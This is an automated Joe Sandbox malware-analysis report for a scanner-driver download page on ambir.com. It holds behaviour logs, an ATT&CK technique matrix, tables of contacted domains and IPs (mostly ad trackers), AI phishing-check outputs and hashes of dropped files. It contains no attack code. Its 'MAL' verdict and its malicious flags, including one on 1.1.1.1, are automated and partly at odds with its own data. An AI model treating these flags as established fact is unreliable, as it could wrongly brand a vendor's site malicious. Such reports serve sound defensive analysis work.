| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Section loaded: | ||
| Source: | Window detected: | ||
| Source: | File opened: | ||
Data Obfuscation | |
|---|
| Source: | Process created: | ||
| Source: | File created: | ||
| Source: | File created: | ||
| Source: | File created: | ||
| Source: | File created: | ||
| Source: | File created: | ||
| Source: | File created: | ||
| Source: | File created: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Process information set: | ||
| Source: | Thread delayed: | ||
| Source: | Thread delayed: | ||
| Source: | Window / User API: | ||
| Source: | Window / User API: | ||
| Source: | Thread sleep count: | ||
| Source: | Thread sleep count: | ||
| Source: | Thread sleep time: | ||
| Source: | Thread sleep time: | ||
| Source: | Thread delayed: | ||
| Source: | Thread delayed: | ||
| Source: | File opened: | ||
| Source: | File opened: | ||
| Source: | File opened: | ||
| Source: | File opened: | ||
| Source: | File opened: | ||
| Source: | File opened: | ||
| Source: | Process information queried: | ||
| Source: | Queries volume information: | ||
| Source: | Queries volume information: | ||
| Source: | Queries volume information: | ||
| Source: | Queries volume information: | ||
| Source: | Queries volume information: | ||
| Source: | Queries volume information: | ||
| Source: | Queries volume information: | ||
| Source: | Queries volume information: | ||
| Source: | Queries volume information: | ||
| Source: | Queries volume information: | ||
| Source: | Queries volume information: | ||
| Source: | Queries volume information: | ||
| Source: | Queries volume information: | ||
| Source: | Queries volume information: | ||
| Source: | Queries volume information: | ||
| Source: | Queries volume information: | ||
| Source: | Queries volume information: | ||
| Reconnaissance | Resource Development | Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement | Collection | Command and Control | Exfiltration | Impact |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Gather Victim Identity Information | Acquire Infrastructure | 1 Drive-by Compromise | 1 PowerShell | 1 Registry Run Keys / Startup Folder | 1 Process Injection | 1 Masquerading | OS Credential Dumping | 1 Process Discovery | Remote Services | Data from Local System | 2 Encrypted Channel | Exfiltration Over Other Network Medium | Abuse Accessibility Features |
| Credentials | Domains | Default Accounts | Scheduled Task/Job | 1 DLL Side-Loading | 1 Registry Run Keys / Startup Folder | 21 Virtualization/Sandbox Evasion | LSASS Memory | 21 Virtualization/Sandbox Evasion | Remote Desktop Protocol | Data from Removable Media | 1 Ingress Tool Transfer | Exfiltration Over Bluetooth | Network Denial of Service |
| Email Addresses | DNS Server | Domain Accounts | At | Logon Script (Windows) | 1 DLL Side-Loading | 1 Process Injection | Security Account Manager | 1 Application Window Discovery | SMB/Windows Admin Shares | Data from Network Shared Drive | 2 Non-Application Layer Protocol | Automated Exfiltration | Data Encrypted for Impact |
| Employee Names | Virtual Private Server | Local Accounts | Cron | Login Hook | Login Hook | 1 DLL Side-Loading | NTDS | 2 File and Directory Discovery | Distributed Component Object Model | Input Capture | 3 Application Layer Protocol | Traffic Duplication | Data Destruction |
| Gather Victim Network Information | Server | Cloud Accounts | Launchd | Network Logon Script | Network Logon Script | Software Packing | LSA Secrets | 11 System Information Discovery | SSH | Keylogging | Fallback Channels | Scheduled Transfer | Data Encrypted for Impact |
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
| Source | Detection | Scanner | Label | Link |
|---|---|---|---|---|
| 0% | Avira URL Cloud | safe |
⊘No Antivirus matches
⊘No Antivirus matches
⊘No Antivirus matches
| Source | Detection | Scanner | Label | Link |
|---|---|---|---|---|
| 100% | Avira URL Cloud | malware |
| Name | IP | Active | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|---|---|
| knrpc.olark.com | 34.96.127.16 | true | false | unknown | |
| segments.company-target.com | 108.156.46.28 | true | false | high | |
| id5-sync.com | 141.95.98.64 | true | false | high | |
| ambir.com | 141.193.213.10 | true | false | unknown | |
| ws.rqtrk.eu | 57.129.18.109 | true | false | high | |
| vici-asg-prod-alb-2112236320.us-east-1.elb.amazonaws.com | 3.227.173.158 | true | false | unknown | |
| d-ams1.turn.com | 46.228.164.13 | true | false | high | |
| eu-eb2.3lift.com | 13.248.245.213 | true | false | high | |
| stats.g.doubleclick.net | 173.194.76.155 | true | false | high | |
| rshank.com | 216.245.184.225 | true | false | unknown | |
| log1.olark.com | 34.96.127.16 | true | false | unknown | |
| httplogserver-lb.global.unified-prod.sharethis.net | 52.57.48.236 | true | false | unknown | |
| platform-api.sharethis.com | 3.160.150.14 | true | false | high | |
| cm.g.doubleclick.net | 172.217.18.2 | true | false | high | |
| idaas-ext.cph.liveintent.com | 3.94.241.169 | true | false | high | |
| www.google.com | 216.58.212.164 | true | false | high | |
| dcs-ups.g03.yahoodns.net | 87.248.119.251 | true | false | high | |
| id.rlcdn.com | 35.244.174.68 | true | false | high | |
| bcp.crwdcntrl.net | 54.194.120.205 | true | false | high | |
| match.adsrvr.org | 52.223.40.198 | true | false | high | |
| d2znr2yi078d75.cloudfront.net | 65.9.66.81 | true | false | unknown | |
| match.prod.bidr.io | 54.155.111.174 | true | false | high | |
| d1qug1xf2dk5z6.cloudfront.net | 18.245.86.47 | true | false | high | |
| us-u.openx.net | 34.98.64.218 | true | false | high | |
| nydc1.outbrain.org | 64.202.112.95 | true | false | high | |
| pugm-lhrc.pubmnet.com | 185.64.190.78 | true | false | high | |
| ActivationEdge-activation-1631408035.eu-central-1.elb.amazonaws.com | 18.195.142.31 | true | false | high | |
| maxcdn.bootstrapcdn.com | 104.18.10.207 | true | false | high | |
| sludge-sludge-production-624682132.eu-west-1.elb.amazonaws.com | 34.249.154.216 | true | false | high | |
| pug-lhr-bc.pubmnet.com | 185.64.191.210 | true | false | high | |
| pixel-sync.sitescout.com | 34.36.216.150 | true | false | high | |
| pixel.onaudience.com | 54.38.113.2 | true | false | high | |
| euw-ice.360yield.com | 52.210.177.76 | true | false | high | |
| analytics-alv.google.com | 216.239.38.181 | true | false | high | |
| cdn.acsbapp.com | 172.67.11.155 | true | false | high | |
| googleads.g.doubleclick.net | 142.250.185.130 | true | false | high | |
| d1ogq2f3ibpb2g.cloudfront.net | 18.245.60.113 | true | false | unknown | |
| acsbapp.com | 172.67.11.155 | true | false | high | |
| td.doubleclick.net | 142.250.74.194 | true | false | high | |
| ext-lb-aws-prod.ccgateway.net | 52.91.215.149 | true | false | unknown | |
| ml314.com | 34.117.77.79 | true | false | high | |
| pixel-origin.mathtag.com | 74.121.140.211 | true | false | high | |
| user-data-eu.bidswitch.net | 35.214.136.108 | true | false | high | |
| 527newagain.top | 64.52.80.52 | true | false | high | |
| ps.eyeota.net | 3.127.178.105 | true | false | high | |
| scontent.xx.fbcdn.net | 157.240.251.9 | true | false | high | |
| idsync.rlcdn.com | 35.244.174.68 | true | false | high | |
| adserver-vpc-alb-1-1446435489.eu-west-1.elb.amazonaws.com | 54.246.194.45 | true | false | unknown | |
| m.ib-ibi.com | 216.46.185.185 | true | false | high | |
| api.olark.com | 34.96.127.16 | true | false | unknown | |
| dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com | 52.212.192.25 | true | false | high | |
| thrtle.com | 3.93.134.245 | true | false | high | |
| am-vip001.taboola.com | 141.226.228.48 | true | false | high | |
| pixel.tapad.com | 34.111.113.62 | true | false | high | |
| raptor-prd-ew1-alb-2127381300.eu-west-1.elb.amazonaws.com | 54.171.16.188 | true | false | unknown | |
| pippio.com | 107.178.254.65 | true | false | high | |
| s.amazon-adsystem.com | 98.82.156.107 | true | false | high | |
| map.go.affec.tv | 52.51.214.86 | true | false | unknown | |
| global.ib-ibi.com | 216.46.185.182 | true | false | high | |
| dsum-sec.casalemedia.com | 104.18.27.193 | true | false | high | |
| pug-ams-bc.pubmnet.com | 198.47.127.205 | true | false | high | |
| fp2e04.wac.rhocdn.net | 192.229.233.34 | true | false | unknown | |
| rc-ext-geo.rlcdn.com | 35.244.174.68 | true | false | unknown | |
| load-euw1.exelator.com | 34.254.143.3 | true | false | high | |
| ib.anycast.adnxs.com | 185.89.210.122 | true | false | high | |
| d.adroll.com | unknown | unknown | false | high | |
| buttons-config.sharethis.com | unknown | unknown | false | high | |
| px.owneriq.net | unknown | unknown | false | high | |
| secure.adnxs.com | unknown | unknown | false | high | |
| ib.mookie1.com | unknown | unknown | false | high | |
| audience.synocdn.com | unknown | unknown | true | unknown | |
| pixel.rubiconproject.com | unknown | unknown | false | high | |
| log.olark.com | unknown | unknown | true | unknown | |
| ce.lijit.com | unknown | unknown | false | high | |
| connect.facebook.net | unknown | unknown | false | high | |
| px.ads.linkedin.com | unknown | unknown | false | high | |
| d.turn.com | unknown | unknown | false | high | |
| x.adroll.com | unknown | unknown | false | high | |
| static.olark.com | unknown | unknown | true | unknown | |
| cms.analytics.yahoo.com | unknown | unknown | false | high | |
| stags.bluekai.com | unknown | unknown | false | high | |
| c.cintnetworks.com | unknown | unknown | false | high | |
| sync-tm.everesttech.net | unknown | unknown | false | high | |
| pixel.mathtag.com | unknown | unknown | true | unknown | |
| rc.rlcdn.com | unknown | unknown | true | unknown | |
| sync.sharethis.com | unknown | unknown | false | high | |
| t.sharethis.com | unknown | unknown | false | high | |
| image6.pubmatic.com | unknown | unknown | false | high | |
| ups.analytics.yahoo.com | unknown | unknown | false | high | |
| loadus.exelator.com | unknown | unknown | false | high | |
| image2.pubmatic.com | unknown | unknown | false | high | |
| p.adsymptotic.com | unknown | unknown | false | high | |
| eus-api.ccgateway.net | unknown | unknown | true | unknown | |
| sync.outbrain.com | unknown | unknown | false | high | |
| aa.agkn.com | unknown | unknown | false | high | |
| dpm.demdex.net | unknown | unknown | false | high | |
| sync.taboola.com | unknown | unknown | false | high | |
| x.bidswitch.net | unknown | unknown | false | high | |
| i.liadm.com | unknown | unknown | false | high | |
| s.adroll.com | unknown | unknown | false | high |
| Name | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|
| true |
| unknown | |
| false | unknown | ||
| false | high |
- No. of IPs < 25%
- 25% < No. of IPs < 50%
- 50% < No. of IPs < 75%
- 75% < No. of IPs
| IP | Domain | Country | Flag | ASN | ASN Name | Malicious |
|---|---|---|---|---|---|---|
| 142.250.185.99 | unknown | United States | 15169 | GOOGLEUS | false | |
| 37.252.171.149 | unknown | European Union | 29990 | ASN-APPNEXUS | false | |
| 18.245.60.113 | d1ogq2f3ibpb2g.cloudfront.net | United States | 16509 | AMAZON-02US | false | |
| 54.75.39.97 | unknown | United States | 16509 | AMAZON-02US | false | |
| 54.246.194.45 | adserver-vpc-alb-1-1446435489.eu-west-1.elb.amazonaws.com | United States | 16509 | AMAZON-02US | false | |
| 185.89.211.116 | unknown | Germany | 29990 | ASN-APPNEXUS | false | |
| 52.91.215.149 | ext-lb-aws-prod.ccgateway.net | United States | 14618 | AMAZON-AESUS | false | |
| 54.72.67.43 | unknown | United States | 16509 | AMAZON-02US | false | |
| 52.57.48.236 | httplogserver-lb.global.unified-prod.sharethis.net | United States | 16509 | AMAZON-02US | false | |
| 142.250.186.72 | unknown | United States | 15169 | GOOGLEUS | false | |
| 198.47.127.205 | pug-ams-bc.pubmnet.com | United States | 62713 | AS-PUBMATICUS | false | |
| 34.96.127.16 | knrpc.olark.com | United States | 15169 | GOOGLEUS | false | |
| 34.254.143.3 | load-euw1.exelator.com | United States | 16509 | AMAZON-02US | false | |
| 1.1.1.1 | unknown | Australia | 13335 | CLOUDFLARENETUS | true | |
| 13.248.245.213 | eu-eb2.3lift.com | United States | 16509 | AMAZON-02US | false | |
| 172.217.18.4 | unknown | United States | 15169 | GOOGLEUS | false | |
| 172.217.18.2 | cm.g.doubleclick.net | United States | 15169 | GOOGLEUS | false | |
| 216.58.206.46 | unknown | United States | 15169 | GOOGLEUS | false | |
| 65.9.66.81 | d2znr2yi078d75.cloudfront.net | United States | 16509 | AMAZON-02US | false | |
| 107.178.254.65 | pippio.com | United States | 15169 | GOOGLEUS | false | |
| 3.160.150.14 | platform-api.sharethis.com | United States | 16509 | AMAZON-02US | false | |
| 239.255.255.250 | unknown | Reserved | unknown | unknown | false | |
| 18.239.36.90 | unknown | United States | 16509 | AMAZON-02US | false | |
| 64.58.232.180 | unknown | United States | 13649 | ASN-VINSUS | false | |
| 35.244.174.68 | id.rlcdn.com | United States | 15169 | GOOGLEUS | false | |
| 98.82.156.107 | s.amazon-adsystem.com | United States | 11351 | TWC-11351-NORTHEASTUS | false | |
| 141.95.98.64 | id5-sync.com | Germany | 680 | DFNVereinzurFoerderungeinesDeutschenForschungsnetzese | false | |
| 104.18.10.207 | maxcdn.bootstrapcdn.com | United States | 13335 | CLOUDFLARENETUS | false | |
| 216.58.212.164 | www.google.com | United States | 15169 | GOOGLEUS | false | |
| 142.250.186.130 | unknown | United States | 15169 | GOOGLEUS | false | |
| 64.52.80.52 | 527newagain.top | United States | 7029 | WINDSTREAMUS | false | |
| 216.58.206.34 | unknown | United States | 15169 | GOOGLEUS | false | |
| 216.239.38.181 | analytics-alv.google.com | United States | 15169 | GOOGLEUS | false | |
| 87.248.119.251 | dcs-ups.g03.yahoodns.net | United Kingdom | 203220 | YAHOO-DEBDE | false | |
| 46.228.164.13 | d-ams1.turn.com | United Kingdom | 56396 | TURNGB | false | |
| 87.248.119.252 | unknown | United Kingdom | 203220 | YAHOO-DEBDE | false | |
| 141.226.228.48 | am-vip001.taboola.com | Israel | 200478 | TABOOLA-ASIL | false | |
| 52.51.214.86 | map.go.affec.tv | United States | 16509 | AMAZON-02US | false | |
| 18.245.86.47 | d1qug1xf2dk5z6.cloudfront.net | United States | 16509 | AMAZON-02US | false | |
| 172.67.11.155 | cdn.acsbapp.com | United States | 13335 | CLOUDFLARENETUS | false | |
| 66.102.1.84 | unknown | United States | 15169 | GOOGLEUS | false | |
| 34.36.216.150 | pixel-sync.sitescout.com | United States | 2686 | ATGS-MMD-ASUS | false | |
| 185.64.190.78 | pugm-lhrc.pubmnet.com | United Kingdom | 62713 | AS-PUBMATICUS | false | |
| 104.18.26.193 | unknown | United States | 13335 | CLOUDFLARENETUS | false | |
| 192.229.233.34 | fp2e04.wac.rhocdn.net | United States | 15133 | EDGECASTUS | false | |
| 142.250.185.170 | unknown | United States | 15169 | GOOGLEUS | false | |
| 34.251.18.147 | unknown | United States | 16509 | AMAZON-02US | false | |
| 104.22.1.204 | unknown | United States | 13335 | CLOUDFLARENETUS | false | |
| 108.156.46.28 | segments.company-target.com | United States | 16509 | AMAZON-02US | false | |
| 95.101.111.166 | unknown | European Union | 12956 | TELEFONICATELXIUSES | false | |
| 52.210.177.76 | euw-ice.360yield.com | United States | 16509 | AMAZON-02US | false | |
| 18.197.133.28 | unknown | United States | 16509 | AMAZON-02US | false | |
| 52.212.51.27 | unknown | United States | 16509 | AMAZON-02US | false | |
| 173.194.76.155 | stats.g.doubleclick.net | United States | 15169 | GOOGLEUS | false | |
| 3.127.178.105 | ps.eyeota.net | United States | 16509 | AMAZON-02US | false | |
| 216.245.184.225 | rshank.com | United States | 7381 | SRS-6-Z-7381US | false | |
| 18.195.142.31 | ActivationEdge-activation-1631408035.eu-central-1.elb.amazonaws.com | United States | 16509 | AMAZON-02US | false | |
| 18.245.86.116 | unknown | United States | 16509 | AMAZON-02US | false | |
| 52.210.206.236 | unknown | United States | 16509 | AMAZON-02US | false | |
| 216.46.185.185 | m.ib-ibi.com | United States | 13649 | ASN-VINSUS | false | |
| 3.94.241.169 | idaas-ext.cph.liveintent.com | United States | 14618 | AMAZON-AESUS | false | |
| 2.23.197.190 | unknown | European Union | 1273 | CWVodafoneGroupPLCEU | false | |
| 142.250.185.142 | unknown | United States | 15169 | GOOGLEUS | false | |
| 18.184.216.10 | unknown | United States | 16509 | AMAZON-02US | false | |
| 95.101.111.156 | unknown | European Union | 12956 | TELEFONICATELXIUSES | false | |
| 95.101.111.153 | unknown | European Union | 12956 | TELEFONICATELXIUSES | false | |
| 64.202.112.95 | nydc1.outbrain.org | United States | 22075 | AS-OUTBRAINUS | false | |
| 162.19.138.82 | unknown | United States | 209 | CENTURYLINK-US-LEGACY-QWESTUS | false | |
| 52.212.192.25 | dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com | United States | 16509 | AMAZON-02US | false | |
| 216.46.185.182 | global.ib-ibi.com | United States | 13649 | ASN-VINSUS | false | |
| 34.117.77.79 | ml314.com | United States | 139070 | GOOGLE-AS-APGoogleAsiaPacificPteLtdSG | false | |
| 69.173.144.165 | unknown | United States | 26667 | RUBICONPROJECTUS | false | |
| 3.33.220.150 | unknown | United States | 8987 | AMAZONEXPANSIONGB | false | |
| 98.82.158.241 | unknown | United States | 11351 | TWC-11351-NORTHEASTUS | false | |
| 3.93.134.245 | thrtle.com | United States | 14618 | AMAZON-AESUS | false | |
| 185.89.210.122 | ib.anycast.adnxs.com | Germany | 29990 | ASN-APPNEXUS | false | |
| 54.38.113.2 | pixel.onaudience.com | France | 16276 | OVHFR | false | |
| 13.107.42.14 | unknown | United States | 8068 | MICROSOFT-CORP-MSN-AS-BLOCKUS | false | |
| 51.144.7.192 | unknown | United Kingdom | 8075 | MICROSOFT-CORP-MSN-AS-BLOCKUS | false | |
| 142.250.185.72 | unknown | United States | 15169 | GOOGLEUS | false | |
| 52.223.40.198 | match.adsrvr.org | United States | 8987 | AMAZONEXPANSIONGB | false | |
| 172.217.16.196 | unknown | United States | 15169 | GOOGLEUS | false | |
| 34.249.154.216 | sludge-sludge-production-624682132.eu-west-1.elb.amazonaws.com | United States | 16509 | AMAZON-02US | false | |
| 35.214.136.108 | user-data-eu.bidswitch.net | United States | 19527 | GOOGLE-2US | false | |
| 3.227.173.158 | vici-asg-prod-alb-2112236320.us-east-1.elb.amazonaws.com | United States | 14618 | AMAZON-AESUS | false | |
| 54.155.111.174 | match.prod.bidr.io | United States | 16509 | AMAZON-02US | false | |
| 151.101.194.49 | unknown | United States | 54113 | FASTLYUS | false | |
| 35.156.183.132 | unknown | United States | 16509 | AMAZON-02US | false | |
| 142.250.186.174 | unknown | United States | 15169 | GOOGLEUS | false | |
| 185.64.191.210 | pug-lhr-bc.pubmnet.com | United Kingdom | 62713 | AS-PUBMATICUS | false | |
| 69.173.144.139 | unknown | United States | 26667 | RUBICONPROJECTUS | false | |
| 54.194.120.205 | bcp.crwdcntrl.net | United States | 16509 | AMAZON-02US | false | |
| 104.102.48.115 | unknown | United States | 16625 | AKAMAI-ASUS | false | |
| 185.89.210.82 | unknown | Germany | 29990 | ASN-APPNEXUS | false | |
| 142.250.74.194 | td.doubleclick.net | United States | 15169 | GOOGLEUS | false | |
| 142.250.184.202 | unknown | United States | 15169 | GOOGLEUS | false | |
| 76.223.111.18 | unknown | United States | 16509 | AMAZON-02US | false | |
| 104.18.27.193 | dsum-sec.casalemedia.com | United States | 13335 | CLOUDFLARENETUS | false | |
| 3.160.150.115 | unknown | United States | 16509 | AMAZON-02US | false |
| IP |
|---|
| 192.168.2.16 |
| Joe Sandbox version: | 41.0.0 Charoite |
| Analysis ID: | 1556667 |
| Start date and time: | 2024-11-15 19:33:14 +01:00 |
| Joe Sandbox product: | CloudBasic |
| Overall analysis duration: | |
| Hypervisor based Inspection enabled: | false |
| Report type: | full |
| Cookbook file name: | defaultwindowsinteractivecookbook.jbs |
| Sample URL: | https://ambir.com/all-ambir-drivers/ |
| Analysis system description: | Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01 |
| Number of analysed new started processes analysed: | 17 |
| Number of new started drivers analysed: | 0 |
| Number of existing processes analysed: | 0 |
| Number of existing drivers analysed: | 0 |
| Number of injected processes analysed: | 0 |
| Technologies: |
|
| Analysis Mode: | stream |
| Analysis stop reason: | Timeout |
| Detection: | MAL |
| Classification: | mal64.win@26/175@273/1001 |
- Exclude process from analysis (whitelisted): SgrmBroker.exe, svchost.exe
- Excluded IPs from analysis (whitelisted): 199.232.210.172, 142.250.185.99, 66.102.1.84, 142.250.185.142, 34.104.35.123, 216.58.206.67, 142.250.185.170
- Excluded domains from analysis (whitelisted): fonts.googleapis.com, fs.microsoft.com, clients2.google.com, accounts.google.com, edgedl.me.gvt1.com, fonts.gstatic.com, ctldl.windowsupdate.com, clientservices.googleapis.com, clients.l.google.com
- Not all processes where analyzed, report is missing behavior information
- Report size getting too big, too many NtSetInformationFile calls found.
- Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
- VT rate limit hit for: https://ambir.com/all-ambir-drivers/
| Input | Output |
|---|---|
| URL: https://ambir.com Model: Joe Sandbox AI | {
"typosquatting": false,
"unusual_query_string": false,
"suspicious_tld": false,
"ip_in_url": false,
"long_subdomain": false,
"malicious_keywords": false,
"encoded_characters": false,
"redirection": false,
"contains_email_address": false,
"known_domain": false,
"brand_spoofing_attempt": false,
"third_party_hosting": false
} |
URL: https://ambir.com | |
| URL: https://ambir.com/all-ambir-drivers/ Model: Joe Sandbox AI | ```json
{
"contains_trigger_text": false,
"trigger_text": "unknown",
"prominent_button_name": "Set-up page",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false
} |
 | |
| URL: https://ambir.com/all-ambir-drivers/ Model: Joe Sandbox AI | ```json
{
"brands": [
"Ambir Scanner Drivers"
]
} |
| |
| URL: https://ambir.com/all-ambir-drivers/ Model: Joe Sandbox AI | ```json
{
"contains_trigger_text": false,
"trigger_text": "unknown",
"prominent_button_name": "unknown",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false
} |
 | |
| URL: https://ambir.com/all-ambir-drivers/ Model: Joe Sandbox AI | ```json
{
"contains_trigger_text": false,
"trigger_text": "unknown",
"prominent_button_name": "Set-up page",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false
} |
 | |
| URL: https://ambir.com/all-ambir-drivers/ Model: Joe Sandbox AI | ```json
{
"brands": [
"AMBIR"
]
} |
| |
| URL: https://ambir.com/all-ambir-drivers/ Model: Joe Sandbox AI | ```json
{
"contains_trigger_text": false,
"trigger_text": "unknown",
"prominent_button_name": "Set-up page",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false
} |
 | |
| URL: https://ambir.com/all-ambir-drivers/ Model: Joe Sandbox AI | ```json
{
"brands": [
"AMBIR"
]
} |
| |
| URL: https://ambir.com/all-ambir-drivers/ Model: Joe Sandbox AI | ```json
{
"contains_trigger_text": false,
"trigger_text": "unknown",
"prominent_button_name": "Set-up page",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false
} |
 | |
| URL: https://ambir.com/all-ambir-drivers/ Model: Joe Sandbox AI | ```json
{
"contains_trigger_text": false,
"trigger_text": "unknown",
"prominent_button_name": "unknown",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false
} |
 | |
| URL: https://ambir.com/all-ambir-drivers/ Model: Joe Sandbox AI | ```json
{
"contains_trigger_text": false,
"trigger_text": "unknown",
"prominent_button_name": "unknown",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false
} |
 | |
| URL: https://ambir.com/all-ambir-drivers/ Model: Joe Sandbox AI | ```json
{
"brands": [
"AMBIR"
]
} |
| |
| URL: https://ambir.com/all-ambir-drivers/ Model: Joe Sandbox AI | ```json
{
"brands": [
"AMBIR"
]
} |
| |
| URL: https://ambir.com/all-ambir-drivers/ Model: Joe Sandbox AI | ```json
{
"brands": [
"AMBIR"
]
} |
| |
| URL: https://ambir.com/all-ambir-drivers/ Model: Joe Sandbox AI | ```json
{
"brands": [
"AMBIR"
]
} |
| |
| URL: https://ambir.com/all-ambir-drivers/ Model: Joe Sandbox AI | ```json
{
"contains_trigger_text": false,
"trigger_text": "unknown",
"prominent_button_name": "unknown",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false
} |
 | |
| URL: https://ambir.com/all-ambir-drivers/ Model: Joe Sandbox AI | ```json
{
"brands": [
"AMBIR"
]
} |
| |
| URL: https://ambir.com/all-ambir-drivers/ Model: Joe Sandbox AI | ```json
{
"contains_trigger_text": false,
"trigger_text": "unknown",
"prominent_button_name": "unknown",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false
} |
 | |
| URL: https://ambir.com/all-ambir-drivers/ Model: Joe Sandbox AI | ```json
{
"brands": [
"AMBIR"
]
} |
|
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Download File
| Process: | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 18368 |
| Entropy (8bit): | 5.442560444649606 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | A384AC99F3F776EB15B9201306CF1BB7 |
| SHA1: | EE1C185BCB51BA404134C95F21D0C88BB10FC2A9 |
| SHA-256: | CDA40ACDFCF918E9FC618048A305EBD40F9ABADED60787A913A4A3305477A386 |
| SHA-512: | 67803178E26380C34E63175201B8393E4FBD2B88694BCE459511681B371C42AE578E7FAC7CD16C44B946A60A85EBA971307EA4CE9C93976565F460010049E279 |
| Malicious: | false |
| Reputation: | unknown |
| Preview: |
| Process: | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 60 |
| Entropy (8bit): | 4.038920595031593 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | D17FE0A3F47BE24A6453E9EF58C94641 |
| SHA1: | 6AB83620379FC69F80C0242105DDFFD7D98D5D9D |
| SHA-256: | 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 |
| SHA-512: | 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82 |
| Malicious: | false |
| Reputation: | unknown |
| Preview: |
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)
Download File
| Process: | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 0 |
| Entropy (8bit): | 0.0 |
| Encrypted: | false |
| SSDEEP: | |
| MD5: | 40097FF6CF4715F0729AA134A57122E7 |
| SHA1: | 152473EDE9E888156E094BFAFD1BDB9C12D505A0 |
| SHA-256: | 6EDB55887C2E9FADB97F08C5D9C86FF67E7984D93C7E7BD83AE87CFEE16CE336 |
| SHA-512: | ED80F473F0805B1EEAFEE7419949D30FBE3218D626335D6E305E33BE145E696E1FA43570548E6169B921E8221F3AC3C4013DB5CE9F0F860D099AA2CCDD7E207A |
| Malicious: | false |
| Reputation: | unknown |
| Preview: |
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\P6UYEWVBG22SYYSOYJV8.temp
Download File
| Process: | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
